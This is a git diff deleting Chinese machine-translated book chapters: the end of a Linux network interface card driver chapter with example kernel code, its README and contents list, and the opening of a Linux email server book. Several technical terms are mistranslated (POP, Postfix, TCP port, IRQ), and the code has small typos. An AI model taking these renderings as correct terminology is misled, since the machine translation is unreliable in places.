中执行。请看`drivers/net/ethernet/freescale/fec.c`中的恩智浦 FEC 驱动,了解这是如何实现的。 - -# 包传输 - -当内核需要将数据包送出接口时,它会调用驱动的`ndo_start_xmit`方法,该方法应该在成功时返回`NETDEV_TX_OK`,或者在失败时返回`NETDEV_TX_BUSY`,在这种情况下,您不能对套接字缓冲区做任何事情,因为当错误返回时,它仍然属于网络排队层。这意味着您不能修改任何 SKB 字段,或释放 SKB,等等。自旋锁保护这个函数不被并发调用。 - -在大多数情况下,包传输是异步进行的。传输包的`sk_buff`由上层填充。其`data`字段包含要发送的数据包。驱动应该从`sk_buff->data`提取数据包,并将其写入设备硬件先进先出,或者在将其写入设备硬件先进先出之前,将其放入临时发送缓冲区(如果设备在发送之前需要一定大小的数据)。只有当先进先出达到阈值(通常由驱动定义,或在器件数据手册中提供)或驱动通过在器件的特殊寄存器中设置一个位(一种触发器)有意开始传输时,数据才会真正发送。也就是说,驱动需要通知内核在硬件准备好接受新数据之前不要开始任何传输。此通知通过`netif_st` `op_queue()`功能完成。 - -```sh -void netif_stop_queue(struct net_device *dev) -``` - -发送数据包后,网络接口卡将发出中断。中断处理程序应该检查中断发生的原因。传输中断时,应更新其统计数据(`net_device->stats.tx_errors`、`net_device->stats.tx_packets`),并通知内核设备可以自由发送新数据包。本通知通过`netif_wake_queue()`方式完成: - -```sh -void netif_wake_queue(struct net_device *dev) -``` - -总而言之,数据包传输分为两部分: - -* `ndo_start_xmit`操作,通知内核设备忙,设置好一切,开始传输。 -* 发送中断处理程序,它更新发送统计数据,并通知内核设备再次可用。 - -`ndo_start_xmit`功能必须大致包含以下步骤: - -1. 在网络设备上调用`netif_stop_queue()`,以通知内核设备将忙于数据传输。 -2. 将`sk_buff->data`内容写入设备 FIFO。 -3. 触发传输(指示设备开始传输)。 - -Operations (2) and (3) may lead to sleep for devices sitting on slow buses (SPI for example) and may need to be deferred to the work structure. This is the case for our sample. - -一旦数据包被传输,发送中断处理程序应执行以下步骤: - -4. 根据正在进行内存映射的设备或位于访问功能可能休眠的总线上的设备,以下操作应直接在 hwirq 处理程序中执行或在工作(或线程化 irq)中调度: - -1.检查中断是否为传输中断。 - -2.读取传输描述符状态寄存器,查看数据包的状态。 - -3.如果传输中有任何问题,增加错误统计。 - -4.成功传输的数据包的增量统计。 - -5. 启动传输队列,允许内核通过`netif_wake_queue()`函数再次调用驱动的`ndo_start_xmit`方法。 - -让我们用一个简短的示例代码来总结一下: - -```sh -/* Somewhere in the code */ -INIT_WORK(&priv->tx_work, my_netdev_hw_tx); - -static netdev_tx_t my_netdev_start_xmit(struct sk_buff *skb, - struct net_device *dev) -{ - struct priv_net_struct *priv = netdev_priv(dev); - - /* Notify the kernel our device will be busy */ - netif_stop_queue(dev); - - /* Remember the skb for deferred processing */ - priv->tx_skb = skb; - - /* This work will copy data from sk_buffer->data to - * the hardware's FIFO and start transmission - */ - schedule_work(&priv->tx_work); - - /* Everything is OK */ - return NETDEV_TX_OK; -} -The work is described below: -/* - * Hardware transmit function. - * Fill the buffer memory and send the contents of the - * transmit buffer onto the network - */ -static void my_netdev_hw_tx(struct priv_net_struct *priv) -{ - /* Write packet to hardware device TX buffer memory */ - my_netdev_packet_write(priv, priv->tx_skb->len, -priv->tx_skb->data); - -/* - * does this network device support write-verify? - * Perform it - */ -[...]; - - /* set TX request flag, - * so that the hardware can perform transmission. - * This is device-specific - */ - my_netdev_reg_bitset(priv, ECON1, ECON1_TXRTS); -} -``` - -发送中断管理将在下一节讨论。 - -# 驱动示例 - -我们可以在下面的假以太网驱动中总结上面讨论的概念: - -```sh -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include /* For DT*/ -#include /* For platform devices */ - -struct eth_struct { - int bar; - int foo; - struct net_device *dummy_ndev; -}; - -static int fake_eth_open(struct net_device *dev) { - printk("fake_eth_open called\n"); - /* We are now ready to accept transmit requests from - * the queueing layer of the networking. - */ - netif_start_queue(dev); - return 0; -} - -static int fake_eth_release(struct net_device *dev) { - pr_info("fake_eth_release called\n"); - netif_stop_queue(dev); - return 0; -} - -static int fake_eth_xmit(struct sk_buff *skb, struct net_device *ndev) { - pr_info("dummy xmit called...\n"); - ndev->stats.tx_bytes += skb->len; - ndev->stats.tx_packets++; - - skb_tx_timestamp(skb); - dev_kfree_skb(skb); - return NETDEV_TX_OK; -} - -static int fake_eth_init(struct net_device *dev) -{ - pr_info("fake eth device initialized\n"); - return 0; -}; - -static const struct net_device_ops my_netdev_ops = { - .ndo_init = fake_eth_init, - .ndo_open = fake_eth_open, - .ndo_stop = fake_eth_release, - .ndo_start_xmit = fake_eth_xmit, - .ndo_validate_addr = eth_validate_addr, - .ndo_validate_addr = eth_validate_addr, -}; - -static const struct of_device_id fake_eth_dt_ids[] = { - { .compatible = "packt,fake-eth", }, - { /* sentinel */ } -}; - -static int fake_eth_probe(struct platform_device *pdev) -{ - int ret; - struct eth_struct *priv; - struct net_device *dummy_ndev; - - priv = devm_kzalloc(&pdev->dev, sizeof(*priv), GFP_KERNEL); - if (!priv) - return -ENOMEM; - - dummy_ndev = alloc_etherdev(sizeof(struct eth_struct)); - dummy_ndev->if_port = IF_PORT_10BASET; - dummy_ndev->netdev_ops = &my_netdev_ops; - - /* If needed, dev->ethtool_ops = &fake_ethtool_ops; */ - - ret = register_netdev(dummy_ndev); - if(ret) { - pr_info("dummy net dev: Error %d initalizing card ...", ret); - return ret; - } - - priv->dummy_ndev = dummy_ndev; - platform_set_drvdata(pdev, priv); - return 0; -} - -static int fake_eth_remove(struct platform_device *pdev) -{ - struct eth_struct *priv; - priv = platform_get_drvdata(pdev); - pr_info("Cleaning Up the Module\n"); - unregister_netdev(priv->dummy_ndev); - free_netdev(priv->dummy_ndev); - - return 0; -} - -static struct platform_driver mypdrv = { - .probe = fake_eth_probe, - .remove = fake_eth_remove, - .driver = { - .name = "fake-eth", - .of_match_table = of_match_ptr(fake_eth_dt_ids), - .owner = THIS_MODULE, - }, -}; -module_platform_driver(mypdrv); - -MODULE_LICENSE("GPL"); -MODULE_AUTHOR("John Madieu "); -MODULE_DESCRIPTION("Fake Ethernet driver"); -``` - -一旦模块被加载并且设备被匹配,以太网接口将在系统上被创建。首先,让我们看看`dmesg`命令向我们展示了什么: - -```sh -# dmesg -[...] -[146698.060074] fake eth device initialized -[146698.087297] IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready -``` - -如果运行`ifconfig -a`命令,界面将打印在屏幕上: - -```sh -# ifconfig -a -[...] -eth0 Link encap:Ethernet HWaddr 00:00:00:00:00:00 -BROADCAST MULTICAST MTU:1500 Metric:1 -RX packets:0 errors:0 dropped:0 overruns:0 frame:0 -TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 -collisions:0 txqueuelen:1000 -RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) -``` - -最后可以配置接口,分配一个 IP 地址,使用`ifconfig`显示: - -```sh -# ifconfig eth0 192.168.1.45 -# ifconfig -[...] -eth0 Link encap:Ethernet HWaddr 00:00:00:00:00:00 -inet addr:192.168.1.45 Bcast:192.168.1.255 Mask:255.255.255.0 -BROADCAST MULTICAST MTU:1500 Metric:1 -RX packets:0 errors:0 dropped:0 overruns:0 frame:0 -TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 -collisions:0 txqueuelen:1000 -RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) -``` - -# 状态和控制 - -设备控制是指内核需要主动或响应用户操作来改变接口属性的情况。然后,它可以使用通过`struct net_device_ops`结构暴露的操作,如上所述,或者使用另一个控制工具 **ethtool** ,这需要驱动引入一组新的钩子,我们将在下一节中讨论。相反,状态包括报告接口的状态。 - -# 中断处理程序 - -到目前为止,我们只处理了两种不同的中断:当一个新的数据包到达时,或者当一个输出数据包的传输完成时;但是现在,硬件接口变得越来越智能,它们能够报告它们的状态,或者是为了健全,或者是为了数据传输。通过这种方式,网络接口还可以生成中断来通知错误、链路状态变化等。它们都应该在中断处理程序中处理。 - -这就是我们的 hwrirq 处理程序的样子: - -```sh -static irqreturn_t my_netdev_irq(int irq, void *dev_id) -{ - struct priv_net_struct *priv = dev_id; - - /* - * Can't do anything in interrupt context because we need to - * block (spi_sync() is blocking) so fire of the interrupt - * handling workqueue. - * Remember, we access our netdev registers through SPI bus - * via spi_sync() call. - */ - schedule_work(&priv->irq_work); - - return IRQ_HANDLED; -} -``` - -因为我们的设备位于一条 SPI 总线上,所以一切都被延迟到一个`work_struct`,定义如下: - -```sh -static void my_netdev_irq_work_handler(struct work_struct *work) -{ - struct priv_net_struct *priv = - container_of(work, struct priv_net_struct, irq_work); - struct net_device *ndev = priv->netdev; - int intflags, loop; - - /* disable further interrupts */ - my_netdev_reg_bitclear(priv, EIE, EIE_INTIE); - - do { - loop = 0; - intflags = my_netdev_regb_read(priv, EIR); - /* DMA interrupt handler (not currently used) */ - if ((intflags & EIR_DMAIF) != 0) { - loop++; - handle_dma_complete(); - clear_dma_interrupt_flag(); - } - /* LINK changed handler */ - if ((intflags & EIR_LINKIF) != 0) { - loop++; - my_netdev_check_link_status(ndev); - clear_link_interrupt_flag(); - } - /* TX complete handler */ - if ((intflags & EIR_TXIF) != 0) { - bool err = false; - loop++; - priv->tx_retry_count = 0; - if (locked_regb_read(priv, ESTAT) & ESTAT_TXABRT) - clear_tx_interrupt_flag(); - - /* TX Error handler */ - if ((intflags & EIR_TXERIF) != 0) { - loop++; - /* - * Reset TX logic by setting/clearing appropriate - * bit in the right register - */ - [...] - - /* Transmit Late collision check for retransmit */ - if (my_netdev_cpllision_bit_set()) - /* Handlecollision */ - [...] - } - /* RX Error handler */ - if ((intflags & EIR_RXERIF) != 0) { - loop++; - /* Check free FIFO space to flag RX overrun */ - [...] - } - /* RX handler */ - if (my_rx_interrupt(ndev)) - loop++; - } while (loop); - - /* re-enable interrupts */ - my_netdev_reg_bitset(priv, EIE, EIE_INTIE); -} -``` - -# Ethtool 支持 - -Ethtool 是一个小工具,用于检查和调整基于以太网的网络接口的设置。使用 ethtool,可以控制各种参数,例如: - -* 速度 -* 媒体类型 -* 双工操作 -* 获取/设置 eeprom 寄存器内容 -* 硬件校验和 -* 局域网唤醒等等。 - -需要 ethtool 支持的驱动应该包括``。它依赖于`struct ethtool_ops`结构,这是这个特性的核心,并且包含了一套 ethtool 操作支持的方法。这些方法大多相对简单;详见`include/linux/ethtool.h`。 - -为了使 ethtool 支持完全成为驱动的一部分,驱动应该填充一个`ethtool_ops`结构,并将其分配给`struct` `net_device`结构的`.ethtool_ops`字段。 - -```sh -my_netdev->ethtool_ops = &my_ethtool_ops; -``` - -宏`SET_ETHTOOL_OPS`也可以用于此目的。请注意,即使当接口关闭时,也可以调用您的 ethtool 方法。 - -例如,以下驱动实现了 ethtool 支持: - -* `drivers/net/ethernet/microchip/enc28j60.c` -* `drivers/net/ethernet/freescale/fec.c` -* `drivers/net/usb/rtl8150.c` - -# 驱动方法 - -驱动方法是`probe()`和`remove()`功能。他们负责向内核注册(取消)网络设备。驱动必须通过`struct` `net_device`结构通过设备方法向内核提供其功能。这些是可以在网络接口上执行的操作: - -```sh -static const struct net_device_ops my_netdev_ops = { - .ndo_open = my_netdev_open, - .ndo_stop = my_netdev_close, - .ndo_start_xmit = my_netdev_start_xmit, - .ndo_set_rx_mode = my_netdev_set_multicast_list, - .ndo_set_mac_address = my_netdev_set_mac_address, - .ndo_tx_timeout = my_netdev_tx_timeout, - .ndo_change_mtu = eth_change_mtu, - .ndo_validate_addr = eth_validate_addr, -}; -``` - -以上是大多数驱动实现的操作。 - -# 探测功能 - -`probe`功能相当基础,只需要执行一个设备的早期`init`,然后向内核注册我们的网络设备。 - -换句话说,`probe`功能必须: - -1. 使用`alloc_etherdev()`功能分配网络设备及其私有数据(在`netdev_priv()`的帮助下)。 -2. 初始化私有数据字段(互斥体、自旋锁、工作队列等)。如果设备位于访问功能可能休眠的总线上(例如 SPI),应该使用工作队列(和互斥)。在这种情况下,hwirq 只需确认内核代码,并安排将在设备上执行操作的工作。另一种解决方案是使用线程化 IRQ。如果设备是 MMIO,可以使用自旋锁来保护关键部分,摆脱工作队列。 -3. 初始化总线特定的参数和功能(SPI、USB、PCI 等)。 -4. 请求和映射资源(输入/输出内存、直接内存分配通道、内部资源分配)。 -5. 如有必要,生成一个随机的媒体访问控制地址并将其分配给设备。 -6. 填充任务(或有用的)网络开发属性:`if_port`、`irq`、`netdev_ops`、`ethtool_ops`等等。 -7. 将设备置于低功耗状态(`open()`功能会将其从该模式中移除)。 -8. 最后,在设备上调用`register_netdev()`。 - -有了 SPI 网络设备,`probe`功能可以如下所示: - -```sh -static int my_netdev_probe(struct spi_device *spi) -{ - struct net_device *dev; - struct priv_net_struct *priv; - int ret = 0; - - /* Allocate network interface */ - dev = alloc_etherdev(sizeof(struct priv_net_struct)); - if (!dev) - [...] /* handle -ENOMEM error */ - - /* Private data */ - priv = netdev_priv(dev); - - /* set private data and bus-specific parameter */ - [...] - - /* Initialize some works */ - INIT_WORK(&priv->tx_work, data_tx_work_handler); - [...] - - /* Devicerealy init, only few things */ - if (!my_netdev_chipset_init(dev)) - [...] /* handle -EIO error */ - - /* Generate and assign random MAC address to the device */ - eth_hw_addr_random(dev); - my_netdev_set_hw_macaddr(dev); - - /* Board setup must set the relevant edge trigger type; - * level triggers won't currently work. - */ - ret = request_irq(spi->irq, my_netdev_irq, 0, DRV_NAME, priv); - if (ret < 0) - [...]; /* Handle irq request failure */ - - /* Fill some netdev mandatory or useful properties */ - dev->if_port = IF_PORT_10BASET; - dev->irq = spi->irq; - dev->netdev_ops = &my_netdev_ops; - dev->ethtool_ops = &my_ethtool_ops; - - /* Put device into sleep mode */ - My_netdev_lowpower(priv, true); - - /* Register our device with the kernel */ - if (register_netdev(dev)) - [...]; /* Handle registration failure error */ - - dev_info(&dev->dev, DRV_NAME " driver registered\n"); - - return 0; -} -``` - -This whole chapter is heavily inspired by the enc28j60 from Microchip. You may have a look into its code in `drivers/net/ethernet/microchip/enc28j60.c`. - -`register_netdev()`函数获取一个完成的`struct net_device`对象,并将其添加到内核接口中;成功时返回 0,失败时返回负错误代码。`struct net_device`对象应该存储在总线设备结构中,以便以后访问。也就是说,如果你的网络设备是全球私有结构的一部分,你应该注册的就是这个结构。 - -Do note that the duplicate device name may lead to registration failure. - -# 模块卸载 - -这就是清洁功能,它依赖于两个功能。我们的驱动发布功能可能如下所示: - -```sh -static int my_netdev_remove(struct spi_device *spi) -{ - struct priv_net_struct *priv = spi_get_drvdata(spi); - - unregister_netdev(priv->netdev); - free_irq(spi->irq, priv); - free_netdev(priv->netdev); - - return 0; -} -``` - -`unregister_netdev()`函数将接口从系统中移除,内核无法再调用其方法;`free_netdev()`释放`struct net_device`结构本身使用的内存以及为私有数据分配的内存,以及与网络设备相关的任何内部分配的内存。一定要注意千万不要自己解放`netdev->priv`。 - -# 摘要 - -本章解释了编写网卡设备驱动所需的一切。即使本章依赖于位于 SPI 总线上的网络接口,但对于 USB 或 PCI 网络接口,原理是相同的。也可以使用为测试目的而提供的虚拟驱动。在这一章之后,很明显网卡驱动对你来说不再是谜。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/README.md b/docs/linux-device-driver-dev/README.md deleted file mode 100644 index bea9511b..00000000 --- a/docs/linux-device-driver-dev/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# Linux 设备驱动开发 - -> 原文:[Linux Device Drivers Development](https://libgen.rs/book/index.php?md5=1581478CA24960976F4232EF07514A3E) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/linux-device-driver-dev/SUMMARY.md b/docs/linux-device-driver-dev/SUMMARY.md deleted file mode 100644 index a3edf197..00000000 --- a/docs/linux-device-driver-dev/SUMMARY.md +++ /dev/null @@ -1,24 +0,0 @@ -+ [Linux 设备驱动开发](README.md) -+ [零、前言](00.md) -+ [一、内核开发简介](01.md) -+ [二、设备驱动基础](02.md) -+ [三、内核工具和助手函数](03.md) -+ [四、字符设备驱动](04.md) -+ [五、平台设备驱动](05.md) -+ [六、设备树的概念](06.md) -+ [七、I2C 客户驱动](07.md) -+ [八、串行接口设备驱动](08.md) -+ [九、注册映射应用编程接口——注册映射抽象](09.md) -+ [十、IIO 框架](10.md) -+ [十一、内核内存管理](11.md) -+ [十二、直接存储器存取](12.md) -+ [十三、Linux 设备模型](13.md) -+ [十四、引脚控制和 GPIO 子系统](14.md) -+ [十五、通用输入输出控制器驱动——通用输入输出芯片](15.md) -+ [十六、高级内部评级管理](16.md) -+ [十七、输入设备驱动](17.md) -+ [十八、实时控制驱动](18.md) -+ [十九、脉宽调制驱动](19.md) -+ [二十、监控框架](20.md) -+ [二十一、帧缓冲驱动](21.md) -+ [二十二、网络接口卡驱动](22.md) diff --git a/docs/linux-email/00.md b/docs/linux-email/00.md deleted file mode 100644 index b1dfc40c..00000000 --- a/docs/linux-email/00.md +++ /dev/null @@ -1,104 +0,0 @@ -# 零、前言 - -许多企业希望在 Linux 上运行他们的电子邮件服务器,以获得更大的控制和企业通信的灵活性,但起步可能很复杂。 在 Linux 上运行的免费使用且健壮的电子邮件服务的吸引力可能会被其中涉及的明显技术挑战所削弱。 某些复杂性来自这样一个事实:电子邮件服务器由几个组件组成,必须分别安装和配置这些组件,然后将它们集成在一起。 - -本书提供了设置和维护电子邮件服务器所需的知识。 与其他一次处理一个组件的方法不同,本书提供了一种跨所有服务器组件的逐步方法,为您的小型企业网络提供了一个完整的工作电子邮件服务器。 - -# 这本书的内容 - -第 1 章:*Linux 和电子邮件基础*将带您了解 Linux 电子邮件服务器的基本要素,以及使电子邮件成为可能的网络和邮件协议。 不管你喜不喜欢,运行 Linux 电子邮件服务器确实需要对底层网络有一定的了解,而本章正是您开始了解这一点的地方。 本章解释了运行自己的电子邮件服务器的优点和缺点,并提供了一些关于典型组织的硬件大小调整的指导。 - -[第二章](02.html "Chapter 2. Setting up Postfix"):*设置后缀*介绍了基本的后缀设置。 Postfix 是我们选择的邮件传输代理(MTA),它构成任何电子邮件服务器的核心。 MTA 主要负责在 Internet 上的不同邮件服务器之间移动消息。 - -[第三章](03.html "Chapter 3. Incoming Mail with POP and IMAP"):*接收邮件与 POP 和 IMAP*涵盖了如何处理接收邮件。 它将向您展示如何设置对邮箱的 IMAP 和 POP 访问。 这意味着用户将能够使用他们熟悉的电子邮件客户机发送和接收消息。 - -第 4 章:*提供 Webmail 访问*展示了如何使用 SquirrelMail 设置 Webmail 访问。 这将为用户提供一个方便的、不在办公室的访问电子邮件的途径。 - -[第 5 章](05.html "Chapter 5. Securing Your Installation"):*保护您的安装*着眼于如何保护您的安装以防止滥用用户的数据和电子邮件设施本身。 - -[第 6 章](06.html "Chapter 6. Getting Started with Procmail"):*Procmail 入门*讨论了 Procmail 的基础知识,让你熟悉 Procmail 用来加载菜谱的各种文件,过滤的核心原则,以及可用的选项。 - -第七章:*Advanced Procmail*对 Procmail 进行了探索,并解释了 Procmail 在控制邮件时可以提供的大量服务和功能。 它还讨论了 Procmail 的高级特性及其好处。 - -第 8 章:*用 SpamAssassin 打击垃圾邮件*展示了 SpamAssassin 与 Procmail 结合使用来过滤大量困扰现代电子邮件用户的垃圾邮件。 - -[第 9 章](09.html "Chapter 9. Antivirus Protection"):*防病毒保护*展示了另一种方法来保护用户免受流氓电子邮件——这一次是电子邮件病毒的传播。 使用 ClamAV 可以扫描邮件中的病毒并安排任务以维护最新的防病毒数据库。 - -[第十章](10.html "Chapter 10. Backing Up Your System"):*备份您的系统*将向您展示如何通过备份不仅是电子邮件本身,而且是组成电子邮件服务器的所有配置选项来保护您的所有努力工作。 本文提供了创建自动备份计划的示例,以最小化数据丢失。 当然,您还将学习如何从这些备份中恢复数据。 - -# 这本书是写给谁的 - -这本书的目标读者是小型企业的初级或中级系统管理员,他们想要设置一个基于 linux 的电子邮件服务器,而不需要花费大量时间成为单个应用的专家。 - -具备 Linux 的基本知识。 - -# 约定 - -在这本书中,你会发现许多不同风格的文本,区分不同种类的信息。 下面是这些风格的一些例子,以及对它们含义的解释。 - -文本中的代码如下:“需要修改的配置文件条目为 `DatabaseMirror`。” - -一段代码设置如下: - -```sh -## -## Example config file for freshclam -## Please read the freshclam.conf(5) manual before editing this file. -## This file may be optionally merged with clamd.conf. -## - -``` - -当我们希望提请您注意代码块的特定部分时,相关的行或项以粗体显示: - -```sh -$ grep score.*BAYES /usr/share/spamassassin/* /etc/mail/spamassassin/* ~/.spamassassin/local.cf - -``` - -任何命令行输入或输出都写如下: - -```sh -# ls -al /etc/init.d/clamsmtpd - -``` - -新词语、重要词语**以粗体显示。 您在屏幕上看到的文字,例如在菜单或对话框中,会出现如下文本:“使用浏览器保存文件(通常,**file**菜单有**另存为**选项)。”** - -### 注意事项 - -警告或重要说明显示在这样的框中。 - -### 请注意 - -提示和技巧是这样的。 - -# 读者反馈 - -我们欢迎读者的反馈。 让我们知道你对这本书的看法——你喜欢或不喜欢这本书。 读者反馈对于我们开发游戏非常重要,你可以从中获得最大收益。 - -要向我们发送一般性的反馈,只需发送一封电子邮件到`<[feedback@packtpub.com](mailto:feedback@packtpub.com)>`,并通过邮件的主题提到书名。 - -如果您需要某本书,并希望我们出版,请在**SUGGEST a TITLE**表格中,在[www.packtpub.com](http://www.packtpub.com)上留言,或通过电子邮件`<[suggest@packtpub.com](mailto:suggest@packtpub.com)>`发送给我们。 - -如果有一个主题,你有专业知识,你有兴趣写或贡献一本书,请参阅我们的作者指南[www.packtpub.com/authors](http://www.packtpub.com/authors)。 - -# 客户支持 - -现在,你已经自豪地拥有了一本书,我们有一些东西可以帮助你从购买中获得最大的好处。 - -## 勘误表 - -尽管我们已经竭尽全力确保内容的准确性,但错误还是会发生。 如果你在我们的书中发现错误,也许是文本或代码上的错误,如果你能向我们报告,我们将不胜感激。 通过这样做,您可以使其他读者免受挫折,并帮助我们改进这本书的后续版本。 如果您发现任何勘误表,请访问[http://www.packtpub.com/support](http://www.packtpub.com/support),选择您的书,点击**让我们知道**链接,并输入您的勘误表详细信息。 一旦您的勘误表被验证,您的提交将被接受,并将该勘误表添加到任何现有的勘误表列表中。 从[http://www.packtpub.com/support](http://www.packtpub.com/support)中选择您的标题,即可查看任何现有勘误表。 - -## 盗版 - -在互联网上盗版受版权保护的资料是一个贯穿所有媒体的持续问题。 在 Packt,我们非常重视版权和授权的保护。 如果您在互联网上发现我们的作品以任何形式的非法拷贝,请立即提供我们的地址或网站名称,以便我们寻求补救。 - -请通过`<[copyright@packtpub.com](mailto:copyright@packtpub.com)>`与我们联系,并提供疑似盗版资料的链接。 - -我们感谢您保护我们的作者的帮助,以及我们为您带来有价值内容的能力。 - -## 问题 - -如果您对这本书的任何方面有任何问题,可以通过`<[questions@packtpub.com](mailto:questions@packtpub.com)>`与我们联系,我们将尽力解决它。 \ No newline at end of file diff --git a/docs/linux-email/01.md b/docs/linux-email/01.md deleted file mode 100644 index 24d73225..00000000 --- a/docs/linux-email/01.md +++ /dev/null @@ -1,234 +0,0 @@ -# 一、Linux 和电子邮件基础 - -如果您是成千上万管理网络和中小型公司计算机的系统管理员中的一员,并且您正在考虑托管自己的电子邮件服务,这本书就是为您准备的。 - -我们将从电子邮件系统的最基本组件开始。 这些组件组合在一起将允许您的用户向 Internet 上的任何人发送或接收邮件。 这可能是你所需要的,但许多公司也想为他们的用户提供一个可访问的网络邮件服务,人们可以在家里或当他们在路上使用。 不幸的是,今天许多人都不能缺少的另一个功能是适当地防止通过电子邮件传播的病毒以及对垃圾邮件的过滤。 - -我们还将介绍防止未经授权或恶意使用服务器的最重要的安全方面。 然后,我们将讨论如何保留服务器接收或发送的所有电子邮件的存档。 最后,我们将描述一个备份和恢复服务器以保护所有消息不丢失数据的过程。 - -本书将涵盖所讨论的软件的主要特性,这将为您的工作打下坚实的基础。 - -读完这本书,你将拥有一个适合大多数小公司的电子邮件服务器。 - -作为我们努力的技术平台,我们选择了 GNU/Linux 操作系统和一系列经过验证的自由软件工具,这些工具将帮助我们实现为小公司提供安全可靠的电子邮件服务器的目标。 我们所选择的工具是众所周知的,并被广泛使用,由软件专业人员编写,并得到大量用户社区的支持。 - -在本书的第一章中,我们将从您在开始使用服务器之前需要知道的内容开始。 - -* 我们讨论了运行自己的电子邮件服务器的优点和缺点。 -* 为选择合适的硬件和服务器所需的网络连接提供了指导。 -* 我们简要介绍了用于在 Internet 上交换邮件的协议,以及允许用户访问电子邮件的主要协议。 -* 为了正确地路由电子邮件,我们讨论了连接到 Internet 的服务器上所需的配置选项。 -* 最后,我们简要介绍了备份电子邮件服务器。 - -在本章结束时,您将对运行电子邮件服务器所需的主要组件有一个基本的了解。 - -# 为什么要管理自己的电子邮件服务器 - -大多数**互联网服务提供商**(**ISP**s)已经给予客户在其服务器上发送和接收电子邮件的能力,那么我们为什么要自己拥有和管理它呢? 既然你读了这本书,你可能已经有了你的理由,但是让我们来看看这个问题和一些可能的答案。 - -托管和管理您自己的电子邮件服务器的最重要的原因是控制。 对于许多组织来说,电子邮件是信息技术基础设施的重要组成部分。 控制你的电子邮件有很多好处。 - -* 如果一家公司在多个地方都有办公室,那么在选择如何连接它们时,你有充分的自由。 办公室之间的虚拟专用网络、办公室之间的传输层安全(Transport Layer Security, TLS)连接、所有办公室的单个服务器、每个办公室的一台服务器,等等。 -* 通过将您自己的消息保存在内部,您可以互相发送消息,而不必让它们通过不安全的线路往返于 ISP。 如果您的 Internet 连接失败,这也为您提供了更可靠的服务,并避免了不必要的延迟。 -* 你不依赖于提供商员工的能力。 如果您管理自己的服务器,并且需要解决一个困难的问题或实现一个自定义的解决方案,您可以这样做。 或者如果有必要,你可以雇一个顾问来帮助你。 -* 如果提供商破产,您的所有数据都安全地驻留在服务器室和备份媒体上。 -* 您不受我们的提供商可能设置的关于磁盘空间使用或消息的最大大小的限制。 -* 您可以实现您所选择的任何邮件存档、反垃圾邮件或防病毒策略。 - -更多的控制需要更多的责任和更多的知识,这就是本书的切入点。 - -抛开这些令人信服的论点不谈,拥有自己的电子邮件服务器也有缺点。 这是一项需要一定程度的知识和承诺的任务,因此不应该由每个人承担。 有了自己的服务器,你不仅要对你为用户提供的服务负责,而且还要对整个互联网社区负责。 配置不良的电子邮件服务器会助长蠕虫和垃圾邮件的传播,这不仅对社区有害,还会使您的服务器被列入黑名单。 即使一个正确设置的服务器可以在不需要太多维护的情况下运行数年,但您必须保持合理的更新,并准备好应对可能出现的新威胁。 这并不是要把你吓跑,只是让你在开始这个项目之前仔细考虑一下。 - -# 托管电子邮件服务器所需的内容 - -您的服务器需要通过固定 IP 地址的永久 Internet 连接可用。 从理论上讲,可以使用非固定(动态)IP 地址运行电子邮件服务器,但当 IP 地址更改时,它将不可靠,并且您将面临丢失消息的风险。 使用动态 IP 地址时,您还将面临被列入动态 IP 地址范围黑名单的更大风险。 - -如果你真的想使用电子邮件服务器,那就准备一个像样的商务舱网络连接。 这些都是相对便宜的现在,投资一个将节省很多麻烦以后。 电子邮件流量不依赖于高带宽,所以一个简单的 DSL 线路的容量应该足够了。 - -即使您将需要一个固定的 IP 地址,您也不一定需要一个专用于邮件服务器的公共 IP 地址。 如果您的公司只有几个外部 IP 地址,并且使用私有 RFC 1918 地址(`192.168.x.y`)在内部使用**网络地址转换**(**NAT**)路由器,这不是问题。 NAT 路由器将私有网络连接到世界的其他地方,并且可以通过设置路由器将电子邮件服务所需的端口转发给内部电子邮件服务器。 【5】 - -下表显示了哪些 TCP 端口最有可能用于此。 - - -| - -港口 - - | - -服务 - - | -| --- | --- | -| `25` | 简单邮件传输协议(SMTP) | -| `110` | 邮政礼宾(POP) | -| `143` | Internet 消息访问协议(IMAP) | -| `993` | IMAP / TLS | - -如果员工希望从家里或路上访问他们的消息,所需要做的就是确保没有防火墙阻止访问所需的端口,并且 NAT 路由器(如果有的话)正确转发这些端口。 如果用户希望通过电子邮件服务器发送消息,则需要一些额外的配置来允许主机执行身份验证,以防止未注册的用户发送电子邮件。 - -# 对电子邮件服务器的硬件进行分级 - 